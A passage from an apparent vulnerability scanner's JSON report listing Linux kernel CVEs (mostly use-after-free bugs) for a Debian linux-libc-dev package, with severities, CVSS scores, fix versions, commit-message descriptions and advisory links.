not\nthe initializer :(\n\nFix this by just zero-initializing the structure on the stack.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63967", "https://git.kernel.org/linus/c9d8e9adaa63150ef7e833480b799d0bab83a276%20%287.1-rc6%29", "https://git.kernel.org/stable/c/3147b303b8c7d9f91da4b849ece33b45048f5eaf", "https://git.kernel.org/stable/c/890d0312d5f94be43eac21f5a34d3bccc60d051b", "https://git.kernel.org/stable/c/babf1943a40bb5669db57d30ca16c22504b18e07", "https://git.kernel.org/stable/c/c9d8e9adaa63150ef7e833480b799d0bab83a276", "https://git.kernel.org/stable/c/d42ac0bfb6a16617c62a59d53706579c7fadbfa6", "https://git.kernel.org/stable/c/e6bb3a49c5f9de870ea95e69775df785728e3366", "https://git.kernel.org/stable/c/fe1a7f99e72ebd2880515332b79b8c256be22aca", "https://git.kernel.org/stable/c/ff8d3c088b77b11782f2c3b97e37425be050e8de", "https://lore.kernel.org/linux-cve-announce/2026071959-CVE-2026-63967-5590@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63967", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63967" ], "PublishedDate": "2026-07-19T16:17:15.7Z", "LastModifiedDate": "2026-10-30T17:25:05.78Z" }, { "VulnerabilityID": "CVE-2026-63993", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63993", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d8cf0a954c6da2adb13d7a7054f9cbe329449cdbdf05c62ba0d98ad5b97ede42", "Title": "kernel: vxlan: do not reuse cached ip_hdr() value after skb_tunnel_check_pmtu()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvxlan: do not reuse cached ip_hdr() value after skb_tunnel_check_pmtu()\n\nskb_tunnel_check_pmtu() can change skb-\u003ehead.\n\nReusing old_iph afer skb_tunnel_check_pmtu() can cause an UAF.\n\nUse instead ip_hdr(skb) as done in drivers/net/bareudp.c\nand drivers/net/geneve.c.\n\nFound by Sashiko.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64775", "https://access.redhat.com/security/cve/CVE-2026-63993", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2454807", "https://bugzilla.redhat.com/show_bug.cgi?id=2460736", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492295", "https://bugzilla.redhat.com/show_bug.cgi?id=2492725", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492745", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2492850", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502369", "https://bugzilla.redhat.com/show_bug.cgi?id=2507041", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23442", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31503", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53235", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64265", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://errata.rockylinux.org/RLSA-2026:64775", "https://git.kernel.org/linus/7d9ef0cb271555d8cf39fefe6c981e1493b25ecf%20%287.1-rc6%29", "https://git.kernel.org/stable/c/5303925e360527243b46a440a04667826bbc72b7", "https://git.kernel.org/stable/c/609e63312c29aad18026a1d3222e123d4b6b0feb", "https://git.kernel.org/stable/c/6b8bfce9d2f774d2c2243e0248e03efb99bba6c0", "https://git.kernel.org/stable/c/7d9ef0cb271555d8cf39fefe6c981e1493b25ecf", "https://git.kernel.org/stable/c/8d435d68d71fb875876b722f4136caf74f2f48bd", "https://git.kernel.org/stable/c/9257f56ac47ef1976bcd056cf986a9988eeec67a", "https://git.kernel.org/stable/c/a493efd4336cf19122ae0e4cbb3d31b32d70deea", "https://git.kernel.org/stable/c/dc3bfa050f873371e745bdf478b1f5b738e5733d", "https://linux.oracle.com/cve/CVE-2026-63993.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026071905-CVE-2026-63993-165e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63993", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63993" ], "PublishedDate": "2026-07-19T16:17:38.823Z", "LastModifiedDate": "2026-10-19T21:17:17.16Z" }, { "VulnerabilityID": "CVE-2026-63994", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63994", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ea8737b99daba38d9a935b3218382b738134c66cd5d882885fc0de15186e946e", "Title": "kernel: tunnels: load network headers after skb_cow() in iptunnel_pmtud_build_icmp[v6]()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntunnels: load network headers after skb_cow() in iptunnel_pmtud_build_icmp[v6]()\n\nSashiko found that iptunnel_pmtud_build_icmp() and\niptunnel_pmtud_build_icmpv6() were caching ip_hdr() and ipv6_hdr()\nbefore an skb_cow() call which can reallocate skb-\u003ehead.\n\nFix this possible UAF by initializing the local variables\nafter the skb_cow() call.\n\nRemove skb_reset_network_header() calls which were not needed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-63994", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/b4bc94353050b1fa7b702bd4c6600710dd926cff%20%287.1-rc6%29", "https://git.kernel.org/stable/c/50750d86a2e5266aba0c295483b3397843198b11", "https://git.kernel.org/stable/c/6dff77899b9e9fe5d854abda3a98ad04e7229ef7", "https://git.kernel.org/stable/c/7254aef4d1a7e18e887af9010e2f2dc34806789b", "https://git.kernel.org/stable/c/76cd9398a0470257ab765bdf5f358a2af2e17934", "https://git.kernel.org/stable/c/95b6d772bfe788331d9742d73eaa12e113b2adc4", "https://git.kernel.org/stable/c/b4bc94353050b1fa7b702bd4c6600710dd926cff", "https://git.kernel.org/stable/c/bf8b3f34c37c162357138e7c0942723b8b94fed1", "https://git.kernel.org/stable/c/f3f204541f280a6ecb04503a0d6794d93990ca43", "https://linux.oracle.com/cve/CVE-2026-63994.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026071905-CVE-2026-63994-97bf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63994", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63994" ], "PublishedDate": "2026-07-19T16:17:38.943Z", "LastModifiedDate": "2026-10-19T21:17:17.343Z" }, { "VulnerabilityID": "CVE-2026-64001", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64001", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a00efc5eb3ee2224aa6251c6f3c97bad234d7616cc0747120090a330792f625e", "Title": "kernel: ALSA: pcm: oss: Fix setup list UAF on proc write error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: pcm: oss: Fix setup list UAF on proc write error\n\nsnd_pcm_oss_proc_write() links a newly allocated setup entry into the\nOSS setup list before duplicating the task name. If the task-name\nallocation fails, the error path frees the already linked entry and\nleaves setup_list pointing at freed memory.\n\nA later OSS device open can then walk the stale list entry in\nsnd_pcm_oss_look_for_setup() and dereference freed memory.\n\nAllocate the task name and initialize the setup entry before publishing\nthe entry on setup_list. Also fetch the initial proc read iterator only\nafter taking setup_mutex, so all setup_list traversal follows the same\nlist lifetime rules.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64001", "https://git.kernel.org/linus/4cc54bdd54b337e77115be5b55577d1c58608eae%20%287.1-rc6%29", "https://git.kernel.org/stable/c/4cc54bdd54b337e77115be5b55577d1c58608eae", "https://git.kernel.org/stable/c/8be4efd0dc0093eb7a02ad1aac936bca2a1f04ce", "https://git.kernel.org/stable/c/be387230dc22d870afd0e5d35912b07c2bc323bd", "https://git.kernel.org/stable/c/d9df965284abde27ba6bfbdfc8407697cf6802f1", "https://git.kernel.org/stable/c/e13922bb97b4e6f94f8ac02d034f2d4bd65eeb3c", "https://lore.kernel.org/linux-cve-announce/2026071906-CVE-2026-64001-48e3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64001", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64001" ], "PublishedDate": "2026-07-19T16:17:39.7Z", "LastModifiedDate": "2026-10-21T13:19:19.113Z" }, { "VulnerabilityID": "CVE-2026-64002", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64002", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:57f7785c596dd452ee8829de644f2e0a2155327bbc0f490640f92956d82a7ccf", "Title": "kernel: ipv4: free net-\u003eipv4.sysctl_local_reserved_ports after unregister_net_sysctl_table()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: free net-\u003eipv4.sysctl_local_reserved_ports after unregister_net_sysctl_table()\n\nipv4_sysctl_exit_net() is currently freeing net-\u003eipv4.sysctl_local_reserved_ports\ntoo soon.\n\nOnly after unregister_net_sysctl_table() we can be sure no threads can possibly\nuse the sysctls, including /proc/sys/net/ipv4/ip_local_reserved_ports.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-64002", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/87a1e0fe7776da7ab411be332b4be58ac8840d10%20%287.1-rc6%29", "https://git.kernel.org/stable/c/155f90be5ee8be5b110ebc0b7da33c54c83b0208", "https://git.kernel.org/stable/c/5b23a2ff379e70b6b9ff744a972b63e1f8f4d996", "https://git.kernel.org/stable/c/6512c57c4638ddec113bf42439361ba85a12048d", "https://git.kernel.org/stable/c/87a1e0fe7776da7ab411be332b4be58ac8840d10", 